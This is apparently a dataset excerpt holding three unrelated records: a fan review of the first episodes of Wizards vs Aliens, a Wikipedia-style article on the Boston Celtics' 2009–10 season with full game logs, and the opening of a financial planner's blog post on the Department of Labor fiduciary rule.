text
stringlengths 0
7.84M
| meta
dict |
|---|---|
Advance Look at Wizards & Aliens
Imaginative, enchanting, and entertaining, Russell T Davies’ new CBBC series is a fitting successor to The Sarah Jane Adventures…
1.1 & 1.2 Dawn Of The Nekross
From the creative team that brought us the award winning The Sarah Jane Adventures,Wizards vs Aliens arrives laden with far more expectation and attention than your standard CBBC series launch.
Co-created by former Doctor Who showrunner Russell T Davies and SJA lead writer Phil Ford,WvA’s pedigree is first-rate, but does its opening adventure, Dawn of the Nekross, deliver on the promise of its brilliantly on-the-nose central conceit?
Thankfully that answer is a resounding ‘yes’, thanks in no small part to a strong script from series co-creator Ford, confident and stylish direction from Daniel O’Hara, and committed performances from series leads Scott Haran and Percelle Ascot.
Following the classic Davies template of bold storytelling filled with striking and memorable images, the series opens with a pre-credits scene involving alien first contact above an ancient stone circle. Neatly bringing together the two elements at the heart of the show – science fiction and magic – in a single sequence, this tease not only sells the central concept of the show, but also the ambition and scale of the piece in one confident brushstroke.
What a great review! We weren’t all that familiar with DOCTOR WHO till Russell Davies showed us what’s what. So even though we’ve felt just a tad too old to be the intended audience for THE SARAH JANE ADVENTURES you can bet we’ll be watching WIZARDS & ALIENS and rooting for its success.
|
{
"pile_set_name": "Pile-CC"
}
|
2009–10 Boston Celtics season
The 2009–10 Boston Celtics season was the 64th season of the Boston Celtics in the National Basketball Association (NBA). The Celtics finished with a record of 50–32, a 12 win drop off from the previous season. They finished 1st in the Atlantic Division and 4th in the Eastern Conference.
In the playoffs, the Celtics defeated the Miami Heat in five games in the First Round, then defeated the top-seeded Cleveland Cavaliers in six games in the Semifinals, and finally, defeated the Orlando Magic in six games in the Conference Finals to advance to the NBA Finals for the twenty-first time in franchise history.
The Celtics made it back to the NBA Finals after a one-year hiatus and played against the defending NBA champion and their rival, the Los Angeles Lakers. In a rematch of the 2008 NBA Finals, in which the Celtics defeated the Lakers in six games to capture their seventeenth championship, the Celtics were defeated this time by the Lakers in seven games.
Key dates
June 25 – The 2009 NBA draft took place in New York City.
July 8 – The free agency period started.
October 27 – The regular season started with a 95–89 win over the Cleveland Cavaliers.
March 24 – The Celtics clinched a spot in the Playoffs with a 113–99 win over the Denver Nuggets.
March 26 – The Celtics clinched the Atlantic Division title with a 94–86 win over the Sacramento Kings.
April 17 – The Celtics won Game 1 in their first-round playoff series against the Miami Heat (85–76).
April 27 – The Celtics won their series against the Miami Heat 4–1 and advanced to the Eastern Conference semi-finals after a 96–86 win in Game 5.
May 13 – The Celtics advanced to the Eastern Conference finals after they won their series 4–2 against the Cleveland Cavaliers following a 94–85 win in Game 6.
May 28 – The Celtics advanced to the NBA Finals after they defeated the Orlando Magic 96–84 in Game 6 to win the series 4–2.
June 17 – The Celtics lost to the Los Angeles Lakers 83–79 in Game 7 of the NBA Finals and failed to capture their 18th NBA Championship.
Summary
NBA Draft 2009
Free agency
Draft picks
Roster
Pre-season
|- align="center" bgcolor="#ffbbbb"
| 1 || October 7 || @ Houston Rockets || 90–96 || || || || 6,300(Hidalgo, Texas) || 0–1 recap
|- align="center" bgcolor="#ccffcc"
| 2 || October 9 || New York Knicks || 82–96 || || || || 18,624 || 1–1 recap
|- align="center" bgcolor="#ccffcc"
| 3 || October 11 || Brooklyn Nets || 93–100 || || || || 18,624 || 2–1 recap
|- align="center" bgcolor="#ccffcc"
| 4 || October 13 || @Brooklyn Nets || 91–88 || || || || 12,790(Newark, New Jersey) || 3–1 recap
|- align="center" bgcolor="#ccffcc"
| 5 || October 14 || Toronto Raptors || 90–106 || || || || 10,117(Hartford, Connecticut) || 4–1 recap
|- align="center" bgcolor="#ccffcc"
| 6 || October 18 || @Toronto Raptors || 101–82 || || || || 13,607 || 5–1 recap
|- align="center" bgcolor="#ffbbbb"
| 7 || October 20 || @New York Knicks || 103–108 || || || || 18,792 || 5–2 recap
|- align="center" bgcolor="#ccffcc"
| 8 || October 21 || @Cleveland Cavaliers || 96–82 || || || || 18,021(Columbus, Ohio) || 6–2 recap
|-
Regular season
Standings
Record vs. opponents
Game log
|- bgcolor="#bbffbb"
| 1
| October 27
| @ Cleveland
|
| Paul Pierce (23)
| Paul Pierce (11)
| Rajon Rondo (10)
| Quicken Loans Arena20,562
| 1–0
|- bgcolor="#bbffbb"
| 2
| October 28
| New Orleans
|
| Ray Allen (18)
| Shelden Williams (9)
| Rajon Rondo (11)
| TD Garden18,624
| 2–0
|- bgcolor="#bbffbb"
| 3
| October 30
| Chicago
|
| Paul Pierce (22)
| Shelden Williams (10)
| Rajon Rondo (16)
| TD Garden18,624
| 3–0
|- bgcolor="#bbffbb"
| 4
| November 1
| New Orleans
|
| Paul Pierce (27)
| Kevin Garnett, Kendrick Perkins (7)
| Rajon Rondo (10)
| TD Garden 18,624
| 4–0
|- bgcolor="#bbffbb"
| 5
| November 3
| @ Philadelphia
|
| Paul Pierce (21)
| Paul Pierce (8)
| Rajon Rondo (5)
| Wachovia Center 11,251
| 5–0
|- bgcolor="#bbffbb"
| 6
| November 4
| @ Minnesota
|
| Rajon Rondo (18)
| Kevin Garnett (11)
| Rajon Rondo (6)
| Target Center 19,133
| 6–0
|- bgcolor="#ffcccc"
| 7
| November 6
| Phoenix
|
| Kevin Garnett (26)
| Kevin Garnett (8)
| Rajon Rondo (11)
| TD Garden 18,624
| 6–1
|- bgcolor="#bbffbb"
| 8
| November 7
| @ New Jersey
|
| Paul Pierce, Rajon Rondo (16)
| Kevin Garnett (13)
| Paul Pierce (7)
| Izod Center 16,119
| 7–1
|- bgcolor="#bbffbb"
| 9
| November 11
| Utah
|
| Kevin Garnett (18)
| Kendrick Perkins (8)
| Rajon Rondo (11)
| TD Garden 18,624
| 8–1
|- bgcolor="#ffcccc"
| 10
| November 13
| Atlanta
|
| Paul Pierce (24)
| Kendrick Perkins (9)
| Rajon Rondo (9)
| TD Garden18,624
| 8–2
|- bgcolor="#ffcccc"
| 11
| November 14
| @ Indiana
|
| Ray Allen (24)
| Kendrick Perkins (13)
| Paul Pierce, Rajon Rondo, Ray Allen (4)
| Conseco Fieldhouse18,165
| 8–3
|- bgcolor="#bbffbb"
| 12
| November 18
| Golden State
|
| Paul Pierce (19)
| Kendrick Perkins, Rajon Rondo (7)
| Rajon Rondo (12)
| TD Garden18,624
| 9–3
|- bgcolor="#ffcccc"
| 13
| November 20
| Orlando
|
| Paul Pierce (21)
| Rasheed Wallace (13)
| Ray Allen, Rajon Rondo (6)
| TD Garden18,624
| 9–4
|- bgcolor="#bbffbb"
| 14
| November 22
| @ New York
|
| Paul Pierce (33)
| Kendrick Perkins (13)
| Rajon Rondo (10)
| Madison Square Garden19,763
| 10–4
|- bgcolor="#bbffbb"
| 15
| November 25
| Philadelphia
|
| Paul Pierce (27)
| Kendrick Perkins (8)
| Rajon Rondo (7)
| TD Garden18,624
| 11–4
|- bgcolor="#bbffbb"
| 16
| November 27
| Toronto
|
| Ray Allen (20)
| Kevin Garnett (7)
| Rajon Rondo (11)
| TD Garden18,624
| 12–4
|- bgcolor="#bbffbb"
| 17
| November 29
| @ Miami
|
| Kevin Garnett (24)
| Kendrick Perkins (13)
| Rajon Rondo (11)
| American Airlines Arena18,104
| 13–4
|- bgcolor="#bbffbb"
| 18
| December 1
| @ New Orleans
|
| Ray Allen (27)
| Kendrick Perkins (12)
| Rajon Rondo (9)
| Time Warner Cable Arena15,129
| 14–4
|- bgcolor="#bbffbb"
| 19
| December 3
| @ San Antonio
|
| Kevin Garnett (20)
| Kevin Garnett, Kendrick Perkins (7)
| Rajon Rondo (12)
| AT&T Center18,581
| 15–4
|- bgcolor="#bbffbb"
| 20
| December 4
| @ Oklahoma City
|
| Kevin Garnett (23)
| Kevin Garnett, Kendrick Perkins (8)
| Rajon Rondo (6)
| Ford Center18,203
| 16–4
|- bgcolor="#bbffbb"
| 21
| December 8
| Milwaukee
|
| Kevin Garnett (25)
| Kevin Garnett, Rajon Rondo (9)
| Rajon Rondo (13)
| TD Garden18,624
| 17–4
|- bgcolor="#bbffbb"
| 22
| December 10
| @ Washington
|
| Rajon Rondo (21)
| Kendrick Perkins (11)
| Rajon Rondo (11)
| Verizon Center20,173
| 18–4
|- bgcolor="#bbffbb"
| 23
| December 12
| @ Chicago
|
| Rajon Rondo (16)
| Kevin Garnett (10)
| Rajon Rondo (14)
| United Center21,257
| 19–4
|- bgcolor="#bbffbb"
| 24
| December 14
| @ Memphis
|
| Paul Pierce (19)
| Kevin Garnett (8)
| Rajon Rondo (9)
| FedExForum14,193
| 20–4
|- bgcolor="#ffcccc"
| 25
| December 18
| Philadelphia
|
| Kevin Garnett (21)
| Kendrick Perkins (16)
| Rajon Rondo (10)
| TD Garden 18,624
| 20–5
|- bgcolor="#bbffbb"
| 26
| December 20
| Minnesota
|
| Paul Pierce (29)
| Kendrick Perkins (11)
| Rajon Rondo (15)
| TD Garden 18624
| 21–5
|- bgcolor="#bbffbb"
| 27
| December 22
| Indiana
|
| Ray Allen (23)
| Rasheed Wallace (13)
| Rajon Rondo (9)
| TD Garden18,624
| 22–5
|- bgcolor="#bbffbb"
| 28
| December 25
| @ Orlando
|
| Ray Allen (18)
| Rajon Rondo (13)
| Rajon Rondo (8)
| Amway Arena17,461
| 23–5
|- bgcolor="#ffcccc"
| 29
| December 27
| @ L.A. Clippers
|
| Rajon Rondo (20)
| Tony Allen (10)
| Rajon Rondo (6)
| Staples Center19,060
| 23–6
|- bgcolor="#ffcccc"
| 30
| December 28
| @ Golden State
|
| Rajon Rondo (30)
| Kendrick Perkins (14)
| Rajon Rondo (15)
| Oracle Arena19,259
| 23–7
|- bgcolor="#ffcccc"
| 31
| December 30
| @ Phoenix
|
| Eddie House (19)
| Kendrick Perkins, Tony Allen (7)
| Rajon Rondo (8)
| US Airways Arena18,422
| 23–8
|- bgcolor="#bbffbb"
| 32
| January 2
| Toronto
|
| Ray Allen (23)
| Kendrick Perkins (10)
| Tony Allen (7)
| TD Garden18,624
| 24–8
|- bgcolor="#bbffbb"
| 33
| January 6
| @ Miami
|
| Rajon Rondo (25)
| Kendrick Perkins (10)
| Rajon Rondo (8)
| American Airlines Arena19,600
| 25–8
|- bgcolor="#ffcccc"
| 34
| January 8
| @ Atlanta
|
| Paul Pierce (21)
| Kendrick Perkins (14)
| Rajon Rondo (10)
| Philips Arena15,149
| 25–9
|- bgcolor="#bbffbb"
| 35
| January 10
| @ Toronto
|
| Rasheed Wallace (29)
| Rajon Rondo (10)
| Rajon Rondo (13)
| Air Canada Centre19,800
| 26–9
|- bgcolor="#ffcccc"
| 36
| January 11
| Atlanta
|
| Rajon Rondo (26)
| Kendrick Perkins (9)
| Rajon Rondo (7)
| TD Garden18,624
| 26–10
|- bgcolor="#bbffbb"
| 37
| January 13
| @ New Jersey
|
| Paul Pierce (24)
| Kendrick Perkins (8)
| Rajon Rondo (14)
| Izod Center14,112
| 27–10
|- bgcolor="#ffcccc"
| 38
| January 14
| Chicago
|
| Paul Pierce (20)
| Kendrick Perkins (10)
| Rajon Rondo (7)
| TD Garden18,624
| 27–11
|- bgcolor="#ffcccc"
| 39
| January 18
| Dallas
|
| Paul Pierce (24)
| Kendrick Perkins (12)
| Rajon Rondo (12)
| TD Garden18,624
| 27–12
|- bgcolor="#ffcccc"
| 40
| January 20
| @ Detroit
|
| Paul Pierce, Rajon Rondo (21)
| Rajon Rondo (8)
| Rajon Rondo (7)
| The Palace of Auburn Hills17,375
| 27–13
|- bgcolor="#bbffbb"
| 41
| January 22
| Portland
|
| Paul Pierce (24)
| Kendrick Perkins (11)
| Rajon Rondo (9)
| TD Garden18,624
| 28–13
|- bgcolor="#bbffbb"
| 42
| January 25
| L.A. Clippers
|
| Paul Pierce (22)
| Kendrick Perkins (15)
| Rajon Rondo (12)
| TD Garden18,624
| 29–13
|- bgcolor="#ffcccc"
| 43
| January 28
| @ Orlando
|
| Ray Allen (20)
| Kevin Garnett, Rajon Rondo (7)
| Rajon Rondo (8)
| Amway Arena17,461
| 29–14
|- bgcolor="#ffcccc"
| 44
| January 29
| @ Atlanta
|
| Paul Pierce (35)
| Kendrick Perkins (12)
| Rajon Rondo (8)
| Philips Arena18,732
| 29–15
|- bgcolor="#ffcccc"
| 45
| January 31
| L.A. Lakers
|
| Rajon Rondo (21)
| Kendrick Perkins (10)
| Rajon Rondo (12)
| TD Garden18,624
| 29–16
|- bgcolor="#bbffbb"
| 46
| February 1
| @ Washington
|
| Kevin Garnett (19)
| Paul Pierce (8)
| Rajon Rondo (12)
| Verizon Center20,173
| 30–16
|- bgcolor="#bbffbb"
| 47
| February 3
| Miami
|
| Ray Allen (23)
| Ray Allen (7)
| Rajon Rondo (14)
| TD Garden18,624
| 31–16
|- bgcolor="#bbffbb"
| 48
| February 5
| New Jersey
|
| Ray Allen (26)
| Ray Allen, Kevin Garnett (7)
| Rajon Rondo (11)
| TD Garden18,624
| 32–16
|- bgcolor="#ffcccc"
| 49
| February 7
| Orlando
|
| Rajon Rondo (17)
| Kevin Garnett (9)
| Rajon Rondo (9)
| TD Garden18,624
| 32–17
|- bgcolor="#ffcccc"
| 50
| February 10
| @ New Orleans
|
| Paul Pierce (15)
| Kevin Garnett, Kendrick Perkins (7)
| Paul Pierce, Rajon Rondo (4)
| New Orleans Arena14,848
| 32–18
|- bgcolor="#bbffbb"
| 51
| February 16
| @ Sacramento
|
| Paul Pierce, Rasheed Wallace (17)
| Kevin Garnett (9)
| Rajon Rondo (6)
| ARCO Arena14,439
| 33–18
|- bgcolor="#bbffbb"
| 52
| February 18
| @ L.A. Lakers
|
| Ray Allen (24)
| Kendrick Perkins (14)
| Rajon Rondo (11)
| Staples Center18,997
| 34–18
|- bgcolor="#bbffbb"
| 53
| February 19
| @ Portland
|
| Ray Allen (21)
| Kendrick Perkins (9)
| Rajon Rondo (11)
| Rose Garden20,618
| 35–18
|- bgcolor="#ffcccc"
| 54
| February 21
| @ Denver
|
| Ray Allen (25)
| Glen Davis (7)
| Rajon Rondo (11)
| Pepsi Center19,818
| 35–19
|- bgcolor="#bbffbb"
| 55
| February 23
| New York
|
| Ray Allen (24)
| Kevin Garnett (8)
| Rajon Rondo (16)
| TD Garden18,624
| 36–19
|- bgcolor="#ffcccc"
| 56
| February 25
| Cleveland
|
| Ray Allen (21)
| Kevin Garnett (10)
| Rajon Rondo (11)
| TD Garden18,624
| 36–20
|- bgcolor="#ffcccc"
| 57
| February 27
| New Jersey
|
| Kevin Garnett (26)
| Kevin Garnett (9)
| Rajon Rondo (17)
| TD Garden18,624
| 36–21
|- bgcolor="#bbffbb"
| 58
| March 2
| @ Detroit
|
| Ray Allen (18)
| Kevin Garnett (9)
| Rajon Rondo (11)
| The Palace of Auburn Hills17,956
| 37–21
|- bgcolor="#bbffbb"
| 59
| March 3
| New Orleans
|
| Paul Pierce (27)
| Marquis Daniels, Kevin Garnett (5)
| Rajon Rondo (6)
| TD Garden18,624
| 38–21
|- bgcolor="#bbffbb"
| 60
| March 5
| @ Philadelphia
|
| Kevin Garnett (22)
| Kevin Garnett (8)
| Rajon Rondo (11)
| Wachovia Center19,008
| 39–21
|- bgcolor="#bbffbb"
| 61
| March 7
| Washington
|
| Ray Allen (25)
| Kevin Garnett (10)
| Rajon Rondo (7)
| TD Garden18,624
| 40–21
|- bgcolor="#ffcccc"
| 62
| March 9
| @ Milwaukee
|
| Rajon Rondo (20)
| Kevin Garnett (10)
| Rajon Rondo (6)
| Bradley Center14,316
| 40–22
|- bgcolor="#ffcccc"
| 63
| March 10
| Memphis
|
| Ray Allen, Rajon Rondo (17)
| Kevin Garnett (7)
| Rajon Rondo (8)
| TD Garden18,624
| 40–23
|- bgcolor="#bbffbb"
| 64
| March 12
| Indiana
|
| Paul Pierce (20)
| Kendrick Perkins (7)
| Rajon Rondo (11)
| TD Garden18,624
| 41–23
|- bgcolor="#ffcccc"
| 65
| March 14
| @ Cleveland
|
| Ray Allen (20)
| Rajon Rondo (8)
| Rajon Rondo (6)
| Quicken Loans Arena20,562
| 41–24
|- bgcolor="#bbffbb"
| 66
| March 15
| Detroit
|
| Ray Allen, Michael Finley, Paul Pierce (15)
| Kevin Garnett, Kendrick Perkins (8)
| Rajon Rondo (6)
| TD Garden18,624
| 42–24
|- bgcolor="#bbffbb"
| 67
| March 17
| New York
|
| Paul Pierce (29)
| Kendrick Perkins (12)
| Rajon Rondo (12)
| TD Garden18,624
| 43–24
|- bgcolor="#bbffbb"
| 68
| March 19
| @ Houston
|
| Paul Pierce (26)
| Rasheed Wallace (9)
| Rajon Rondo (10)
| Toyota Center18,198
| 44–24
|- bgcolor="#bbffbb"
| 69
| March 20
| @ Dallas
|
| Paul Pierce (29)
| Rajon Rondo (10)
| Paul Pierce, Rajon Rondo (5)
| American Airlines Center20,488
| 45–24
|- bgcolor="#ffcccc"
| 70
| March 22
| @ Utah
|
| Ray Allen (16)
| Kendrick Perkins (8)
| Rajon Rondo (6)
| EnergySolutions Arena19,911
| 45–25
|- bgcolor="#bbffbb"
| 71
| March 24
| Denver
|
| Paul Pierce (27)
| Rajon Rondo (11)
| Rajon Rondo (15)
| TD Garden18,624
| 46–25
|- bgcolor="#bbffbb"
| 72
| March 26
| Sacramento
|
| Paul Pierce (22)
| Kevin Garnett (13)
| Rajon Rondo (18)
| TD Garden18,624
| 47–25
|- bgcolor="#ffcccc"
| 73
| March 28
| San Antonio
|
| Paul Pierce (18)
| Kevin Garnett (10)
| Rajon Rondo (7)
| TD Garden18,624
| 47–26
|- bgcolor="#ffcccc"
| 74
| March 31
| Oklahoma City
|
| Kevin Garnett, Rasheed Wallace (18)
| Kevin Garnett (9)
| Rajon Rondo (11)
| TD Garden18,624
| 47–27
|- bgcolor="#ffcccc"
| 75
| April 2
| Houston
|
| Paul Pierce (27)
| Rasheed Wallace (8)
| Rajon Rondo (10)
| TD Garden18,624
| 47–28
|- bgcolor="#bbffbb"
| 76
| April 4
| Cleveland
|
| Ray Allen (33)
| Kendrick Perkins (10)
| Rajon Rondo (14)
| TD Garden18,624
| 48–28
|- bgcolor="#ffcccc"
| 77
| April 6
| @ New York
|
| Ray Allen (17)
| Kendrick Perkins (8)
| Rajon Rondo (6)
| Madison Square Garden19,763
| 48–29
|- bgcolor="#bbffbb"
| 78
| April 7
| @ Toronto
|
| Rajon Rondo (21)
| Kendrick Perkins (9)
| Rajon Rondo (7)
| Air Canada Centre18,793
| 49–29
|- bgcolor="#ffcccc"
| 79
| April 9
| Washington
|
| Rajon Rondo (17)
| Paul Pierce (7)
| Rajon Rondo (12)
| TD Garden18,624
| 49–30
|- bgcolor="#bbffbb"
| 80
| April 10
| @ Milwaukee
|
| Paul Pierce (24)
| Glen Davis, Rasheed Wallace (7)
| Rajon Rondo (10)
| Bradley Center18,717
| 50–30
|- bgcolor="#ffcccc"
| 81
| April 13
| @ Chicago
|
| Paul Pierce (28)
| Kendrick Perkins (11)
| Rajon Rondo (6)
| United Center20,649
| 50–31
|- bgcolor="#ffcccc"
| 82
| April 14
| Milwaukee
|
| Rajon Rondo (21)
| Rajon Rondo, Rasheed Wallace (6)
| Rajon Rondo (15)
| TD Garden18,624
| 50–32
|-
Playoffs
Game log
|- bgcolor="#ccffcc"
| 1
| April 17
| Miami
|
| Paul Pierce (16)
| Kevin Garnett (9)
| Rajon Rondo (10)
| TD Garden18,624
| 1–0
|- bgcolor="#ccffcc"
| 2
| April 20
| Miami
|
| Ray Allen (25)
| Kendrick Perkins (10)
| Rajon Rondo (12)
| TD Garden18,624
| 2–0
|- bgcolor="#ccffcc"
| 3
| April 23
| @ Miami
|
| Paul Pierce (32)
| Kendrick Perkins (12)
| Rajon Rondo (8)
| American Airlines Arena19,500
| 3–0
|- bgcolor="#ffcccc"
| 4
| April 26
| @ Miami
|
| Rajon Rondo (23)
| Kevin Garnett (12)
| Rajon Rondo (9)
| American Airlines Arena19,520
| 3–1
|- bgcolor="#ccffcc"
| 5
| April 27
| Miami
|
| Ray Allen (24)
| Kevin Garnett, Rajon Rondo (8)
| Rajon Rondo (12)
| TD Garden18,624
| 4–1
|- bgcolor="#ffcccc"
| 1
| May 1
| @ Cleveland
|
| Rajon Rondo (27)
| Kendrick Perkins (11)
| Rajon Rondo (12)
| Quicken Loans Arena20,562
| 0–1
|- bgcolor="#ccffcc"
| 2
| May 3
| @ Cleveland
|
| Ray Allen (22)
| Kevin Garnett (10)
| Rajon Rondo (19)
| Quicken Loans Arena20,562
| 1–1
|- bgcolor="#ffcccc"
| 3
| May 7
| Cleveland
|
| Kevin Garnett (19)
| Rajon Rondo (5)
| Rajon Rondo (8)
| TD Garden18,624
| 1–2
|- bgcolor="#ccffcc"
| 4
| May 9
| Cleveland
|
| Rajon Rondo (29)
| Rajon Rondo (18)
| Rajon Rondo (13)
| TD Garden18,624
| 2–2
|- bgcolor="#ccffcc"
| 5
| May 11
| @ Cleveland
|
| Ray Allen (25)
| Paul Pierce (11)
| Paul Pierce, Rajon Rondo (7)
| Quicken Loans Arena20,562
| 3–2
|- bgcolor="#ccffcc"
| 6
| May 13
| Cleveland
|
| Kevin Garnett (22)
| Kevin Garnett (12)
| Rajon Rondo (12)
| TD Garden18,624
| 4–2
|- bgcolor="#ccffcc"
| 1
| May 16
| @ Orlando
|
| Ray Allen (25)
| Kevin Garnett (11)
| Rajon Rondo (8)
| Amway Arena17,461
| 1–0
|- bgcolor="#ccffcc"
| 2
| May 18
| @ Orlando
|
| Paul Pierce (28)
| Kevin Garnett (9)
| Rajon Rondo (8)
| Amway Arena17,461
| 2–0
|- bgcolor="#ccffcc"
| 3
| May 22
| Orlando
|
| Glen Davis (17)
| Paul Pierce (9)
| Rajon Rondo (12)
| TD Garden18,624
| 3–0
|- bgcolor="#ffcccc"
| 4
| May 24
| Orlando
|
| Paul Pierce (32)
| Kevin Garnett (12)
| Rajon Rondo (8)
| TD Garden18,624
| 3–1
|- bgcolor="#ffcccc"
| 5
| May 26
| @ Orlando
|
| Rasheed Wallace (21)
| Kevin Garnett (5)
| Ray Allen (7)
| Amway Arena17,461
| 3–2
|- bgcolor="#ccffcc"
| 6
| May 28
| Orlando
|
| Paul Pierce (31)
| Paul Pierce (13)
| Rajon Rondo (6)
| TD Garden18,624
| 4–2
|- bgcolor="#ffcccc"
| 1
| June 3
| @ Lakers
|
| Paul Pierce (24)
| Paul Pierce (9)
| Rajon Rondo (8)
| Staples Center18,997
| 0–1
|- bgcolor="#ccffcc"
| 2
| June 6
| @ Lakers
|
| Ray Allen (32)
| Rajon Rondo (12)
| Rajon Rondo (10)
| Staples Center18,997
| 1–1
|- bgcolor="#ffcccc"
| 3
| June 8
| Lakers
|
| Kevin Garnett (25)
| Kendrick Perkins (11)
| Rajon Rondo (8)
| TD Garden18,624
| 1–2
|- bgcolor="#ccffcc"
| 4
| June 10
| Lakers
|
| Paul Pierce (19)
| Kendrick Perkins (7)
| Paul Pierce (5)
| TD Garden18,624
| 2–2
|- bgcolor="#ccffcc"
| 5
| June 13
| Lakers
|
| Paul Pierce (27)
| Kevin Garnett (10)
| Rajon Rondo (8)
| TD Garden18,624
| 3–2
|- bgcolor="#ffcccc"
| 6
| June 15
| @ Lakers
|
| Ray Allen (19)
| Glen Davis (9)
| Rajon Rondo (6)
| Staples Center18,997
| 3–3
|- bgcolor="#ffcccc"
| 7
| June 17
| @ Lakers
|
| Paul Pierce (18)
| Paul Pierce (10)
| Rajon Rondo (10)
| Staples Center18,997
| 3–4
|-
Player statistics
Season
1Stats with the Celtics.
Playoffs
Awards, records and milestones
Awards
Week/Month
On December 7, 2009 Kevin Garnett was named Eastern Conference's Player of the Week (November 30 – December 6).
On March 22, 2010 Paul Pierce was named Eastern Conference's Player of the Week (March 15–21).
All-Star
Kevin Garnett was voted to his 11th consecutive (13th overall) All-Star Game as a starter.
Paul Pierce was selected to his 8th All-Star Game.
Rajon Rondo was selected to play in the All-Star Game for the first time in his career.
Paul Pierce won the Three-Point Contest.
Season
Rajon Rondo was named to the NBA All-Defensive First Team.
Records
Rajon Rondo set two new single-season franchise records. On March 26, he grabbed his 168th steal of the season and broke Rick Fox's record of 167 steals in a season with the Boston Celtics. On April 2, he dished out his 716th assist of the season, thus breaking Bob Cousy's franchise record of 715 assists made in a season. Rondo dished out 794 assists and stole the ball 189 times in the 2009–10 season.
Milestones
On October 27, 2009 game against the Cleveland Cavaliers Kevin Garnett passed Hall of Famer Moses Malone for 21st place on the NBA's career blocking list, having blocked 1,736 shots.
On October 28, 2009 game against the New Orleans Hornets Paul Pierce passed Dan Majerle for 17th place on the NBA's career 3-pointer list with 1,363 3-pointers.
On October 30, 2009 game against the Chicago Bulls Ray Allen passed Hall of Famer John Stockton for 33rd place on the NBA's career scoring list, having scored 19,715 points.
On November 13, 2009 game against the Atlanta Hawks Paul Pierce passed Hall of Famer Bob McAdoo for 49th place on the NBA's career scoring list, having scored 18,790 points.
On November 18, 2009 game against the Golden State Warriors Paul Pierce passed Hall of Famer Isiah Thomas for 48th place on the NBA's career scoring list, having scored 18,824 points.
On November 20, 2009 game against the Orlando Magic Paul Pierce passed Chet Walker for 47th place on the NBA's career scoring list, having scored 18,845 points.
On November 25, 2009 game against the Philadelphia 76ers Paul Pierce passed Antoine Walker for 16th place on the NBA's career 3-pointer list with 1,389 3-pointers.
On December 1, 2009 game against the Charlotte Bobcats Paul Pierce passed Scottie Pippen for 46th place on the NBA's career scoring list, having scored 18,946 points.
On December 3, 2009 game against the San Antonio Spurs Rasheed Wallace passed Clifford R. Robinson for 34th place on the NBA's career blocking list, having blocked 1,391 shots.
On December 8, 2009 game against the Milwaukee Bucks Kevin Garnett passed Hall of Famer Hal Greer for 25th place on the NBA's career scoring list, having scored 21,601 points, and Micheal Ray Richardson for 36th place on career steal list with 1,465 steals.
On December 10, 2009 game against the Washington Wizards Paul Pierce passed Brent Barry for 15th place on the NBA's career 3-pointer list with 1,397 3-pointers.
On December 12, 2009 game against the Chicago Bulls Paul Pierce passed Dale Ellis and Reggie Theus for 44th place on the NBA's career scoring list, having scored 19,016 points.
On December 18, 2009 game against the Philadelphia 76ers Kevin Garnett passed Artis Gilmore for 20th place on the NBA's career blocking list, having blocked 1,751 shots.
On December 20, 2009 game against the Minnesota Timberwolves Ray Allen passed Tom Chambers for 32nd place on the NBA's career scoring list, having scored 20,059 points.
On December 28, 2009 game against the Golden State Warriors Kevin Garnett passed Kevin Willis for 21st place on the NBA's career rebounding list with 11,903 rebounds.
On January 8, 2010 game against the Atlanta Hawks Rasheed Wallace passed Mark West for 33rd place on the NBA's career blocking list, having blocked 1,404 shots.
On January 13, 2010 game against the Brooklyn Nets Paul Pierce passed Hall of Famer Gail Goodrich for 43rd place on the NBA's career scoring list, having scored 19,191 points.
On January 14, 2010 game against the Chicago Bulls Paul Pierce passed Eddie Johnson for 42nd place on the NBA's career scoring list, having scored 19,211 points.
On January 25, 2010 game against the Los Angeles Clippers Paul Pierce passed Hall of Famer Bob Lanier for 41st place on the NBA's career scoring list, having scored 19,257 points.
On February 1, 2010 game against the Washington Wizards Kevin Garnett passed Hall of Famer Larry Bird for 24th place on the NBA's career scoring list, having scored 21,792 points and Dennis Johnson for 35th place on the steals list with 1,478 steals.
On February 5, 2010 game against the Brooklyn Nets Kevin Garnett passed Gary Payton for 23rd place on the NBA's career scoring list, having scored 21,816 points.
On February 7, 2010 game against the Orlando Magic Kevin Garnett passed Dennis Rodman for 20th place on the NBA's career rebounding list with 11,960 rebounds.
On February 7, 2010 game against the Orlando Magic Paul Pierce passed T. R. Dunn for 50th place on the NBA's career steals list with 1,318 steals.
On February 21, 2010 game against the Denver Nuggets Kevin Garnett passed Hall of Famer Elvin Hayes for 19th place on the NBA's career blocking list, having blocked 20,521 points.
On February 21, 2010 game against the Denver Nuggets Ray Allen passed Mitch Richmond for 31st place on the NBA's career scoring list, having scored 20,510 points.
On February 23, 2010 game against the New York Knicks Kevin Garnett became the 20th player in NBA history to reach 12,000 rebounds in his career.
On March 3, 2010 game against the Charlotte Bobcats Paul Pierce passed Terry Cummings for 40th place on the NBA's career scoring list, having scored 19,482 points.
On March 10, 2010 game against the Memphis Grizzlies Paul Pierce passed Walter Davis for 39th place on the NBA's career scoring list, having scored 19,532 points.
On March 15, 2010 game against the Detroit Pistons Ray Allen passed Hall of Famer George Gervin for 31st place on the NBA's career scoring list, having scored 20,510 points (Dirk Nowitzki has passed Ray Allen since February 21).
On March 17, 2010 game against the New York Knicks Paul Pierce passed Clifford Robinson for 38th place on the NBA's career scoring list, having scored 19,614 points.
Injuries and surgeries
Kendrick Perkins tore two ligaments in his right knee in Game 6 of the NBA Finals and missed the rest of the playoffs
Transactions
References
External links
2009–10 Boston Celtics season Official Site
2009–10 Boston Celtics season at ESPN
2009–10 Boston Celtics season at Basketball Reference
Category:Boston Celtics seasons
Category:Eastern Conference (NBA) championship seasons
Boston
Boston
Boston
|
{
"pile_set_name": "Wikipedia (en)"
}
|
For Fiduciary Financial Advice, yes it does really matter if your financial professional is acting as a Fiduciary. Financial advice will be changing with the coming Fiduciary Rules from the Department of Labor.
UPDATE: Donald Trump has just signed an executive order to postpone the implementation of the Fiduciary Rule. The rule with possibly goes into effect sometime in 2019. Beware this means you investment person has more time to not act in your best interest. There is also a campaign to permanently freeze this protection for investors.
By David Rae Certified Financial Planner™, Accredited Investment Fiduciary™
Despite a considerable amount of industry resistance, the Department of Labor (DOL) has finally released its final draft of their Fiduciary Rule. Thereby making it mandatory for financial advisors place their client’s best interests first when offering advice on retirement accounts. I can feel those thousand-yard stares coming on that say, “Hold the phone, aren’t they supposed to be doing this already anyway?” In a perfect world, of course. In the real one? Alas, not always. At least until now. BTW the law only applies to RETIREMENT ACCOUNTS.
Who Knows what Fiduciary Financial Advice actually means?
